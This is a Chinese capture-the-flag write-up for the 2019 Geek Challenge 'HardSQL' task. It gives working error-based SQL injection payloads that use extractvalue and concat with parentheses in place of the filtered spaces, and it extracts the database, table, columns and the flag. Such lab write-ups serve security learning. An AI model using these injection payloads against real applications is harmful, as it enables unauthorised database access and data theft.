[极客大挑战 2019]HardSQL 1

一开始直接尝试弱密码发现不行

输入admin’报错 admin’不报错证明双引号闭合于是构造union注入发现不行,被过滤了,双写绕不过,开始尝试报错注入

先看一下那些被过滤了

空格被过滤直接用()来进行代替

爆库

or(extractvalue(1,concat(0x7e,(select(database())))))or

由于#被过滤,这里用or’来进行闭合 爆出数据库geek。 接下来payload

or(extractvalue(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(geek)))))or
or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(H4rDsq1)))))or
or(extractvalue(1,concat(0x7e,(select(group_concat(username,password))from(H4rDsq1)))))or

最终只显示出左半部分flag,这是因为extractvalue和updatexml只显示32位字符

or(extractvalue(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)))))or

爆出右半部分flag进行拼接 flag{a60f3310-0d64-4be9-a4fc-fc90962e4213}

经验分享 程序员 微信小程序 职场和发展